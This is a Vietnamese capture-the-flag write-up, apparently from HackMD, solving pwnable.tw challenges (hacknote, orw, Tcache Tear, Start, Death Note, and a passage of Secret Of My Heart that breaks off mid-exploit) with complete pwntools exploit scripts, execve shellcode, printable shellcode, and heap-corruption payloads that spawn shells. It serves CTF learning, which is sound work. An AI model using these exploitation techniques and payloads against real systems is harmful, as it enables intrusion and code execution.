Try   HackMD

(writeup) PWNABLE.TW p1

hacknote [200 pts]

  • description:

A good Hacker should always take good notes!

nc chall.pwnable.tw 10102

hacknote

libc.so

  • check file + checksec

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida (vì file bị stripped nên hình dưới đây có chỉnh sửa tên hàm cho dễ nhìn)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

main()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

tạo struct để ida trông dễ khai thác hơn

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

add()
storaged là biến đếm
chunk là mảng(struct)
chunk[i]->write là hàm output()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

output()
in ra vị trí edi+4 (edi là đầu vào)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

delete()

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

show()
thực thi hàm output()

analyse

  • phân tích:
    • mỗi note là một struct gồm 2 thành phần:
      • note.write: con trỏ trỏ tới hàm output(), có chức năng in nội dung trong note.data
      • note.data: chứa nội dung của note
    • mỗi khi 1 note mới được tạo sẽ có 2 malloc() được gọi:
      • chunk[i] = malloc(8)
      • chunk[i]->data = malloc(size)
    • mỗi khi xóa 1 note, có 2 câu lệnh free() được gọi:
      • free(chunk[i]->data)
      • free(chunk[i])
  • for example: tạo 2 chunk size 32 data là 'abcd' và 'efgh'

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

chunk 0: chunk[0] 8 byte đầu là metadata
0x0804862b là địa chỉ hàm output() (highlight vàng)
0x0804b018 là địa chỉ note.data là ngay hightlight lam
------
chunk 1: chunk[0] 0x804b010 (bao gồm metadata); note.data là highlight lam 'abcd'
chunk 2: chunk[1] 0x804b038 (bao gồm metadata); tương tự chunk 0
chunk 3: chunk[1] 0x804b048 (bao gồm metadata); note.data là hightlight lục 'efgh'

  • next: xoá 2 chunk trên, kiểm tra fastbins (vì file libc đề cho k có tcache)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

có thể thấy nếu ta add note 1 lần nữa với size 8 -> chunk size 0x10 sẽ có thể sử dụng lại chunk
> kỹ thuật UAF
reused 0x804b040 để gán chunk[2]
reused 0x804b008 để gán chunk[2]->data

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

add note size 8 content 'aaaa\n'
-> hoàn toàn control dc địa chỉ output() với note.data

exploit

  • hướng đi: tạo shell từ libc
  • ta cần leak libc trước
  • vì có thể control đc địa chỉ output() và note.data nên sẽ dùng func show() để thực thi output() in ra thay vì in content sẽ in GOT của puts (trong output()puts@plt)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • có libc sẽ tiếp tục lấy shell
  • thay vì thực thi output() thì ta sẽ thực thi system() với arg là /bin/sh
  • nhưng vì file 32 bit nên truyền '/bin/sh\0' bất khả thi nên ta truyền 'sh' nhưng để đủ 4 byte thì truyền '||sh'

vì sao lại '||sh' thì có thể coi wu bài cmd_center

  • gọi show() lên là có shell

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./hacknote_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x08048789
                b*0x08048863
                b*0x08048879
                b*0x08048884
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10102)
else:
        p = process(exe.path)

#GDB()

def add(size,content):
    sla(b'choice :', b'1')
    sla(b'size :', str(size))
    sa(b'Content :',content)

def delete(idx):
    sla(b'choice :', b'2')
    sla(b'Index :',str(idx))

def show(idx):
    sla(b'choice :', b'3')
    sla(b'Index :',str(idx))
    
add(32,b'aaaa') #idx=0
add(32,b'bbbb') #idx=1

delete(0)
delete(1)

payload = p32(0x0804862b) + p32(exe.got['puts'])
add(8,payload)  #idx=2

show(0)
#p.recvuntil(b'Success')
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

delete(2)

payload = p32(libc.sym['system']) + b'||sh'
add(8,payload)

show(0)

p.interactive()
#FLAG{Us3_aft3r_fl3333_in_h4ck_not3}

FLAG{Us3_aft3r_fl3333_in_h4ck_not3}


orw [100 pts]

  • description:

Read the flag from /home/orw/flag.

Only open read write syscall are allowed to use.

nc chall.pwnable.tw 10001

orw

  • check file + checksec

  • check ida

main()

orw_seccomp()

  • check seccomp

  • từ tiêu đề và seccomp cho thấy, shellcode ta truyền vào chỉ giới hạn lại quyền open readwrite
  • dùng tool shellcraft cho tiện =)))

tham khảo wu bài shell_basic

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./orw', checksec=False)
context.arch = "i386"

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10001)
else:
        p = process(exe.path)

io = b'/home/orw/flag'
shellcode = shellcraft.open(io)
shellcode += shellcraft.read('eax','esp',0x80)
shellcode += shellcraft.write(1,'esp', 0x80)   
payload = asm(shellcode)
sa(b'shellcode:',payload)

p.interactive()
#FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}


Tcache Tear [200 pts]

  • description

Make tcache great again !

nc chall.pwnable.tw 10207

tcache_tear

libc.so

  • check file + checksec

  • check ida (stripped nên renamed lại)

main()
v4 = 0, maximum được free(ptr) là <=7

add()
giới hạn lại size < 0xff

show()

analyse

  • điểm qua những địa chỉ cần lưu ý

0x602060 ở lần nhập đầu cho biến name

0x602088 là biến ptr cho hàm free()

  • ở option2 là free(ptr) có thể đoán được là lỗi DBF
  • thử malloc 1 chunk và double free:

loop detected

  • tiếp tục malloc 1 chunk với size như cũ

malloc cùng size nhưng data truyền vào là b'bbbbb' -> thay đổi fw thành 0x62626262
===> control được fw chunk hiện tại

ví dụ thử truyền thành địa chỉ biến name_addr

  • vậy nếu ta tiếp tục malloc 1 chunk cùng size như trên thì tcache_bin sẽ xem địa chỉ mình control được ở trên lấy cho chunk mới

==> summary : ghi đè system vào free_hook, call free lấy shell

way1 : create fake chunk

  • cách này sẽ tận dụng lỗi tcache_entry
  • ta sẽ leak libc nhờ vào ubin (unsorted_bin)
  • nếu vậy ta cần free 1 chunk có size lớn hơn 0x410
  • nhưng khó là trong ida bị giới hạn chọn size là < 0xff

  • vậy ta phải lựa 1 heap nào có thể ghi đè size thành 0x450 chẳng hạn
  • ta thấy địa chỉ của name_addr ở lần nhập đầu có quyền rw_section
  • ta sẽ dựa vào bug phía trên, ghi thử nội dung ntn

add(b'aaaa') --> delete ---> delete ---> add(name_addr)

  • vậy ta cần sẽ free con trỏ name_addr (cần set size trước khi free)

đặc biệt là khi free, sẽ lấy con trỏ 0x602088
nhưng biến name_addr lại là 0x602060
idea : sửa con trỏ của free thành name_addr

  • test:
add(128,b'a'*32)
delete()
delete()
add(128,p64(name_addr-0x10)) #0x602050 
add(128,p64(name_addr-0x10)) 
payload = p64(0) + p64(0x451) #presize size #size
payload += p64(0xdeadbeef) + p64(0)  #0x602060 -->name_addr
payload += p64(0) + p64(0)  #0x602070
payload += p64(0) + p64(name_addr) #0x602080 #0x602088 --> ptr
add(128,payload)
delete()

sau khi add delete delete rồi add lần nữa thì trong tcache còn bin chưa reused nên add một lần nữa để lần add cho payload sau sẽ k reused bin còn lại

nôm na ntn: add delete delete -> tcache có 2 bins bị loop
phải add thêm 2 lần để used hết 2 bins đó
rồi add cho payload rồi free cho k bị resued bin cũ

  • lúc này ta sẽ bị 1 lỗi khá nhức đầu ở đây
  • anh chino_kafuu hướng dẫn 😆: link

hiêu là sẽ kiểm tra nextchunk có size dc set là INUSE hay không

nextchunk được tính là con trỏ vùng nhớ + size

  • ohlala
  • vậy lỗi chúng ta là cần chỉnh size của name_addr + 0x450 - 0x8
  • nhưng cần làm sao?
  • z phải tạo 2 chunk
    • 1 fakechunk ở name_addr+0x450
    • 1 chunk cho name_addr
  • test:
add(128+16,b'a'*32)
delete()
delete()
add(128+16, p64(name_addr + 0x450 - 0x10))
add(128+16, p64(name_addr + 0x450 - 0x10))
payload = p64(0) + p64(0x21) #presize size #size ---> metadata = 0x10
payload += p64(0) + p64(0) #content 0x10 ---> size chunk = 0x10 + 0x10 + 0x1 = 0x21
payload += p64(0) + p64(0x41) #presize #size
add(128+16,payload)
#delete()

tạo fakechunk thì tạo size nho nhỏ thui
không cần free, vì mình tạo fakechunk mà
vì là fakechunk nên mình chọn size khác với size hiện tại (128+16)
và cần lưu ý là set cho cả size phía sau
(k quan trọng size bao nhiu, miễn có bit 0x1 đánh dấu)
nếu k sẽ bị lỗi sau

  • ổn rồi thì ta sẽ tạo được 1 cái ubin

  • và nếu ta chọn option show() thì nó sẽ in ra thông tin biến name_addr của mình (là main_arena)

  • leak libc xong, việc mình bây giờ là ghi đè free_hook thành system bằng cách
add(b'aaaa') -> delete -> delete -> add(libc.sym['__free_hook'] -> add(libc.sym['__free_hook']) -> add(libc.sym['system'])

offset = 0x3ebca0

  • last but not least, thêm chuỗi '/bin/sh' bằng cách add 1 lãn nữa, lúc này '/bin/sh' sẽ trỏ ở $rdi nên delete one more time will gain shell

  • remote:

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./tcache_tear_patched', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x400C54
                b*0x400C59
                b*0x400B54
                b*0x400B59
                b*0x400b90
                b*0x400BA9
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10207)
else:
        p = process(exe.path)

GDB()

name_addr = 0x602060
ptr = 0x602088

def add(size, data):
        sa(b'choice :',b'1')
        sa(b'Size:',str(size))
        sa(b'Data:',data)

def show():
        sa(b'choice :',b'3')

def delete():
        sa(b'choice :',b'2')

sa(b'Name:',b'hlaan')

add(128+16,b'a'*32)
delete()
delete()
add(128+16, p64(name_addr + 0x450 - 0x10))
add(128+16, p64(name_addr + 0x450 - 0x10))
payload = p64(0) + p64(0x21) #presize size #size
payload += p64(0) + p64(0) #content
payload += p64(0) + p64(0x41) #presize #size
add(128+16,payload)
#delete()

add(128,b'a'*32)
delete()
delete()
add(128,p64(name_addr-0x10)) #0x602050
add(128,p64(name_addr-0x10)) 
payload = p64(0) + p64(0x451) #presize size #size
payload += p64(0xdeadbeef) + p64(0)  #0x602060 -->name_addr
payload += p64(0) + p64(0)  #0x602070
payload += p64(0) + p64(name_addr) #0x602080 #0x602088 --> ptr
add(128,payload)
delete()

show()
p.recvuntil(b'Name :')
libc_leak = u64(p.recv(8))
libc.address = libc_leak - 0x3ebca0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

add(128-16,b'a'*32)
delete()
delete()
add(128-16,p64(libc.sym['__free_hook']))
add(128-16,p64(libc.sym['__free_hook']))
payload = p64(libc.sym['system'])
add(128-16,payload)
add(128-16,b'/bin/sh\0')
delete()

p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}

FLAG{tc4ch3_1s_34sy_f0r_y0u}

way2 : attack tcache_perthread_struct

  • cách này sẽ tận dụng cơ chế tcache_perthread_struct
  • tcache_perthread_struct về căn bản là tcache
  • cấu trúc nó sẽ gồm 2 phần:
    • phần counts : bộ đếm
    • phần entries : địa chỉ các chunks
  • tìm hiểu thêm
  • ta sẽ brute 2 bytes ngẫu nhiên khi chạy động (2 bytes trong địa chỉ heap)
  • nhưng trước mắt ta cứ NOASLR để dễ DEBUG

sau khi delete() 2 lần

  • ở hướng khai thác lần này, sẽ đổi tool từ gef sang pwndbg cho thuận tiện =)))))))))
  • lần add() tiếp theo sẽ sửa chunk tại địa chỉ 0x603260
  • ta sẽ giả sử sửa lên chunk 0x603200 đi, thì payload là b'\0' (sửa 1 bytes)
  • sau đó add() tiếp theo ta cũng giả sử là name_addr đi

  • tức là lần add() tiếp theo nữa ta sẽ sửa nội dung trong chunk 0x603200 -> ow các entries của tcache_perthread_struct
ta cần cũng 3 chunks:
- 1 chunk là name_addr (ow ptr thành name_addr)
- 1 chunk là next_chunk của name_addr
- 1 chunk là next_next_chunk của next_chunk =)))
===> cũng như way1 tạo fake_chunk
nhưng ở lần này ta tạo 1 lèo từ tcache_perthread_struct
  • vậy ta tạo như sau:
payload = p64(name_addr-0x10) + p64(0) #lui 0x10 để chỉnh size thành 0x451
payload += p64(name_addr+0x450-0x10) + p64(0) #lui 0x10 để set bit INUSE
payload += p64(name_addr+0x450+0x20) + p64(0) #để cho chunk hiện hữu trên entries (maybe :v)

  • nhưng cái khó là muốn malloc ra từ những chunks đó là điều không thể (chall cho phép size < 0xff, trong khi cần đến hơn 0x300)
  • thế ta chỉnh xuống entry nhỏ nhiều xíu

lấy 0x6030a0 (do 0x603090 là nơi ở lúc trigger DBF ngay đó rồi, né nó ra thui :v )

lúc này size nhỏ lại rồi nè

  • vậy ta cần setup trước next_chunk bằng cách add(0xd0), size 0xd0 + 0x10 = 0xe0 > moi 0x6024a0 ra
  • sau đó setup name_addr bằng cách add(0xb0) , size 0xb0 + 0x10 = 0xc0 > moi name_addr - 0x10 ra
tại sao lại setup next_chunk trước ?
  • khó tin thì cứ thử setup name_addr trước rồi next_chunk sau đi
  • delete() nó lại lấy ptr là 0x6024a0 là địa chỉ next_chunk-0x10

  • cái này cũng đíu hiểu tại sao 🥲
  • nhưng setup next_chunk trước thì lại được 🙃

ai biết ib giải thích nha =)))))

  • sau đó delete()free(name_addr) rồi
  • show() để leak libc
  • và phần còn lại là __free_hook với system/bin/sh\0 thôi (tương tự way1)
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./tcache_tear_patched', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x400C54
                b*0x400C59
                b*0x400B54
                b*0x400B59
                b*0x400b90
                b*0x400BA9
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

name_addr = 0x602060
ptr = 0x602088

def add(size, data):
        sa(b'choice :',b'1')
        sa(b'Size:',str(size))
        sa(b'Data:',data)

def show():
        sa(b'choice :',b'3')

def delete():
        sa(b'choice :',b'2')

while True:
        try:
                if args.REMOTE:
                        p = remote('chall.pwnable.tw', 10207)
                else:
                        p = process(exe.path)

                # GDB()

                sa(b'Name:',b'hlaan')

                add(0x90,b'aaaa')
                delete()
                delete()
                add(0x90,b'\xa0\x30')
                add(0x90,p64(name_addr))

                payload = p64(name_addr-0x10) + p64(0)
                payload += p64(name_addr+0x450-0x10) + p64(0)
                payload += p64(name_addr+0x450+0x20) + p64(0)

                add(0x90,payload)

                payload = p64(0) + p64(0x21)
                payload += p64(0) + p64(0)
                payload += p64(0) + p64(0x41)

                add(0xd0,payload)

                payload = p64(0) + p64(0x451)
                payload += p64(0xdeadbeef) + p64(0)
                payload += p64(0xdeadbeef) + p64(0)
                payload += p64(0xdeadbeef) + p64(name_addr)

                add(0xb0,payload)

                delete()

                show()
                p.recvuntil(b'Name :')
                libc_leak = u64(p.recv(8))
                libc.address = libc_leak - 0x3ebca0
                info("libc leak: " + hex(libc_leak))
                info("libc base: " + hex(libc.address))

                add(0x70,b'a'*8)
                delete()
                delete()
                add(0x70,p64(libc.sym['__free_hook']))
                add(0x70,p64(libc.sym['__free_hook']))
                payload = p64(libc.sym['system'])
                add(0x70,payload)
                add(0x70,b'/bin/sh\0')
                delete()

                p.interactive()
        except EOFError:
                p.close()

#FLAG{tc4ch3_1s_34sy_f0r_y0u}

FLAG{tc4ch3_1s_34sy_f0r_y0u}


Start [100 pts]

  • description:

Just a start.

Don't know how to start?
Check GEF 101 - Solving pwnable.tw/start by @_hugsy
nc chall.pwnable.tw 10000

start

  • check file + checksec

  • check ida

  • từ ida ta thấy gọi syscall read lên (thanh ghi ax = 3) với size là 0x3c
  • kết thúc syscall read tiếp tục add esp,0x14 rồi mới ret

lỗi BOF

  • vậy ta cần phải ret về đâu? (có luôn No PIE)
  • NX disabled nên ta sẽ chèn shellcode
  • muốn stack thực thi shellcode thì ngay bước ret ta phải ret stack
  • vậy ta cần leak stack bằng cách tận dụng hàm sys_write, ret về 0x08048087

lấy esp đưa vào ecx
lượng in ra là 0x14

de, đúng như dự đoán là in ra 5 dòng địa chỉ này
vậy ta cần tính offset stack trỏ về shellcode mình thôi là được
shellcode lụm trên mạng

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./start',checksec=False)

#p = process(exe.path)
p = remote('chall.pwnable.tw',10000)

# gdb.attach(p,gdbscript='''
# 	b*0x08048087
# 	b*0x08048097
# 	c
# 	''')
# input()

payload = b'A'*0x14
payload += p32(0x08048087)

p.sendafter(b'CTF:',payload)
leak = u32(p.recv(4))
log.info("ret: " + hex(leak + 0x14))

payload = b'A'*0x14
payload += p32(leak + 0x14)
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

sleep(2)

p.send(payload)

p.interactive()
#FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}


Death Note [250 pts]

  • description:

Write the shellcode on your Death Note.

nc chall.pwnable.tw 10201

death_note

  • check file + checksec

  • check ida

main()

show_note()

del_note()

add_note()

analyse

  • tổng quát ở add_note(), del_note()show_note() đều có lỗi OOB (truy cập ngoài mảng, idx số âm)
  • trong hàm add_note() có 1 hàm nhỏ là is_printable() mục đích là kiểm tra payload của ta phải là những kỹ tự in được (theo bảng mã ascii)
  • và có hàm strdup() trả về con trỏ heap chứa payload của mình

  • điểm qua địa chỉ đáng nghi:

note = 0x0804a060

  • idea: chèn shellcode vào free_got rồi chọn option del_note() để execute shellcode của mình
  • nhưng shellcode của ta chắc chắn có byte không in được
    -> shellcode custom
  • link hỗ trợ viết shellcode
  • ascii check các byte in được

dấu hiệu là những byte có số đầu từ 0x2_ đến 0x7_ (tránh luôn byte NULL)

  • idea về shellcode:
cần setup như sau
$eax: 0xb
$ebx: stack ---> '/bin'... '//sh' #hiển thị có 4 byte do file 32 bits
$ecx: 0x0
$edx: 0x0
  • check thanh ghi:

có sẵn $edx = 0x0

writting shellcode

  • custom shellcode:
### syscall == int 0x80 '/xcd/x80'  ---> k thể chèn trực tiếp
tự hô biến cho có byte 0x80cd trên stack bằng phép xor

lấy 1 thanh ghi đang NULL, dec xuống 1 thành 0xffffffff
cần 0xffff80cd nên là suy luận toán xor đơn giản

x là 0x80cd, a là 0xffff
a^b = c ; lấy c^x ra d
---> a^b=c; c^d=x (với c tự chọn, d tính từ phép xor)

### k thể setup thẳng eax thành 0xb bằng lệnh mov hay xor gì đó vì 0xb nằm ngoài ascii 
---> idea tăng từ từ eax từ 0x0 lên 0xb bằng lệnh    ~inc eax~    có byte 0x40 (thoả)


### '/bin//sh' : để cho chắc 1 stack chỉ trỏ 1 chuỗi '/bin//sh' 
---> khiến chuỗi đó kết thúc bằng byte '0x00'

### đưa int 0x80 vào shellcode:
lấy địa chi heap bắt đầu shellcode pop vào 1 nơi khác
rồi xor [$register + offset], di
với $register là địa chỉ mình pop trc đó (địa chỉ bắt đầu thực thi shellcode) 
offset là độ dời từ lúc bắt đầu shellcode đến kết thúc lệnh xor trên
di là thanh ghi 16 bits (lấy ví dụ cho edi)

### reset thanh ghi về 0
push 0x30
pop $reg
xor $reg, 0x30
  • shellcode hoàn chỉnh:
payload = asm('''
        push eax ; lấy con trỏ địa chỉ shellcode push lên stack
        pop ebp ; đưa đại vào ebp (k quan trọng thanh ghi ebp)
        push edx ; đưa 0 vào stack để cho chuỗi '/bin//sh' kết thúc là NULL byte
        push 0x68732f2f ; đưa '//sh' vào stack
        push 0x6e69622f ; đưa '/bin' vào stack
        push esp ; đưa stack trỏ đến '/bin//sh'
        pop ebx ; gán cho ebx là stack trỏ đến '/bin//sh'
        push 0x30     ;
        pop eax       ; set eax = 0
        xor al, 0x30   ;
        dec eax ; eax xuống 0xffffffff
        xor ax, 0x3456 ;
        xor ax, 0x4b64 ; lúc này là 0xffff80cd
        push eax ; đưa vào stack
        pop edi ; đẩy vào edi (do edi k ảnh hưởng đến lấy shell)
        push 0x30     ;
        pop eax       ; set eax = 0
        xor al, 0x30  ;
        push eax ;
        pop ecx ; set ecx = 0
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ;
        inc eax ; tăng eax lên 0xb (11 lần)
        xor [ebp + 0x35] , di ; lấy 2 byte từ edi là 0x80cd ghi vào địa chỉ tiếp theo của shellcode
    ''',arch='i386')

setup LOCAL

  • setup gdb để chạy shellcode

dừng sau lệnh strdup() để tạo heap
tính offset của heap

hoặc set thẳng con trỏ heap được trả về do strdup() là địa chỉ stack chứa payload của mình (stack lúc đó có 3 quyền rwx)

gef➤ call (int)mprotect(heap_base, offset, 7)
-------------------------------------------------
gef➤ set $eax = stack_payload

get flag

  • remote:

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./death_note', checksec=False)
context.arch = 'i386'

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*add_note+33
                b*add_note+132
                #call (int)mprotect(heap_base, 0x22000, 7)
                b*del_note+76
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10201)
else:
        p = process(exe.path)

GDB()

def add(idx,data):
        sla(b'choice :',b'1')
        sla(b'Index :',str(idx))
        sla(b'Name :',data)
def show(idx):
        sla(b'choice :',b'2')
        sla(b'Index :',str(idx))
def delete(idx):
        sla(b'choice :',b'3')
        sla(b'Index :',str(idx))

note = 0x0804a060
free_got = exe.got['free']
idx = (free_got - note) / 4 #file 32 bits

payload = asm('''
        push eax
        pop ebp
        push edx
        push 0x68732f2f
        push 0x6e69622f
        push esp
        pop ebx
        push 0x30
        pop eax
        xor al, 0x30
        dec eax
        xor ax, 0x3456
        xor ax, 0x4b64
        push eax
        pop edi
        push 0x30
        pop eax
        xor al, 0x30
        push eax
        pop ecx
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        inc eax
        xor [ebp + 0x35] , di
    ''',arch='i386')

add(idx,payload)
delete(idx)

p.interactive()
#FLAG{sh3llc0d3_is_s0_b34ut1ful}

FLAG{sh3llc0d3_is_s0_b34ut1ful}


Secret Of My Heart [400 pts]

  • description:

Find the secret in my heart!

nc chall.pwnable.tw 10302

secret_of_my_heart

libc.so

  • check file + checksec

  • check ida (renamed cho dễ hình dung)

main()

menu()

index() (nhập idx vào thôi)

add()

biến ptr là địa chỉ bss
offset = 0x0000000000202018

read_data() (nhập content vào heap)
name nhập 0x20 vào vùng nhớ bss (nằm ngoài exe)

read_func() (nhập payload)

delete()

free_data() (free con trỏ ptr)

show()

hidden()
có cả hàm ẩn nằm ngoài menu()
với idx là 4869
cho phép ta biết địa chỉ biến ptr
đồng thời sẽ exit(0)
có lẽ hàm này sẽ đíu cần tới đâu ◑﹏◐

===> không có system, win -> leak libc -> ow hook = system > get_shell

analyse

  • vì file bị stripped cộng với PIE bật nên khi debug sẽ thêm tham số NOASLR
$ ./solve.py DEBUG NOASLR
  • phân tích kỹ một chút ở phần này

v2 là size
qua hàm read_data() có đối số là *a1 và a2
tương ứng $rdi là con trỏ ptr và $rdx là v2
gắn $rdi là con trỏ trỏ đến v2
sau đó name sẽ nằm từ (a1 + 1) và dài 0x20
kế đến a1[5] là pointer heap trỏ đến secret

gef➤  p/x exe_base + offset_bss_ptr = <addr1>
gef➤  x/xg <addr1> = vùng nhớ khác nằm ngoài exe
gef➤  #tạm gọi nó là <addr2>
gef➤ x/20xg <addr2>
<addr2> size name
<addr2 + 0x10> name name
<addr2 + 0x20> name *secret
  • nếu như ta nhập full cho name thì khi chọn option 2 là show() ta sẽ leak đc pointer của heap secret

  • nhưng leak dc heap nó vô nghĩa lắm =))))
  • idea để leak libc: đưa main_area vào bên trong heap để khi show() nó sẽ leak dc
  • BUG:

==> poison NULL byte

BUG : poison NULL byte

  • về kỹ thuật poison NULL byte ta cần đầu độc chunk victim của mình
với libc 2.23 (k có tcache)
tạo chunk a (size nhỏ hơn 0x80) ---> vào fastbin 
chunk b (size 0x110) ---> poision thành 0x100 
chunk c (size 0x110) ---> sẽ consolidate luôn chunk b
(do là khi free chunk c sẽ xem prev_size của nó để gộp
trong khi prev_size thực tế lại bị dời lên trên do poison NULL byte)
chunk d (barrier) (tránh consolidate với top_chunk)
#####################################################################
free b ---> ubin 0x110
free c ---> ubin and consolidate 0x220
free a ---> fastbin
#####################################################################
remalloc a (size cũ + 8) ---> ow prev_size b và tự thêm NULL ở size b 
  • vậy ở đây ta sẽ fake cái main_area lẫn vào trong mấy cái chunk fake
  • chunk fake ở đây nghĩa là chương trình sẽ vẫn giữa nguyên pointer của thứ tự mấy cái chunk ta tạo ra, nhưng lại bị nhầm lẫn khi ta poison NULL vào, khiến cho những chunk sau cái chunk ta poison cái size sẽ bị rơi vào vùng lưng chừng

nói trắng ra là làm chương trình bị ngu ngu về bins và chunks =))))

leak libc (main_area)

add(0x68,b'aaaa',b'aaaa') #idx=0 #a
add(0x100,b'bbbb',b'bbbb') #idx=1 #b

add(0x100,b'eeee',b'eeee') #idx=2 #c
add(0x100,b'cccc',b'cccc') #idx=3 #barier dissappear in chunks
add(0x100,b'dddd',b'dddd') #idx=4 #advoid consolidate with top_chunk #still disappear

delete(1) #free1 #free_b #ubin 0x110
delete(2) #free2 #free_c #ubin consolidate 0x220
delete(0) #free0 #free_a #fastbin

add(0x68,b'BBBB',b'/bin/sh\0'.ljust(0x68,b'b')) #idx=0 #poison_null!!!
#size 0x111 placed idx2 was 4190
#need malloc total 0x100
#devided into 0xb0 0x10 0x10 (include metadata 0x10 * 3)
add(0xb0,b'CCCC',b'CCCC') #idx=1 
add(0x10,b'DDDD',b'DDDD') #idx=2
add(0x10,b'EEEE',b'EEEE') #idx=3_fake #4180
add(0x80,b'FFFF',b'FFFF') #idx=5 #just avoid consolidate
delete(1) #free1
delete(3) #free_old_idx3 #free_barrier #ubin consolidate 0x330
# this free will consolidate old_idx_3 42a0 which have prev_size is 0x220

# from now display old_idx_4 in heap_chunk

#next malloc will contain main_area in chunk
add(0xd0,b'GGGG',b'GGGG') #size doesn't matter #idx=6
show(5) #leeking

free_hook + '/bin/sh\0' + system (not worked)

  • idea ban đầu sẽ là truyền '/bin/sh\0' vào 1 trong các chunk, ghi system vào __free_hook rồi delete() chính cái chunk chứa '/bin/sh\0' sẽ lấy làm $rdi rồi có shell
  • nhưng cách này bị lỗi incorrect fastbin_index khi mà muốn ow fw của bin chứa __free_hook nhưng ở địa chỉ __free_hook - 0x8 lại không có size phù hợp để cùng chứa chung 1 fastbin

  • khi đó nếu add() 1 lần nữa với size kia thì sẽ bị lỗi
    malloc(): memory corruption (fast): <addr>

malloc_hook + one_gadget

  • sau khi leak libc, sẽ delete(2) rồi add() 1 lãn nữa các chunk giống như cách leak libc
p.recvuntil(b'Secret : ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))

delete(2) #free2

malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x10

add(0x40,b'aaaa',p64(fake_chunk)) #idx=2 #0 #4160
add(0xf0,b'bbbb',b'bbbb') #idx=3 #1 #41b0
add(0xf0,b'cccc',b'cccc') #idx=4 #2 #42b0
add(0x60,b'cccc',b'cccc') #idx=4 #2 #43b0

để tạm fake_chunk là __malloc_hook - 0x10

  • tiếp tục poison NULL byte
add(0x40,b'aaaa',p64(fake_chunk)) #idx=9 #44c0
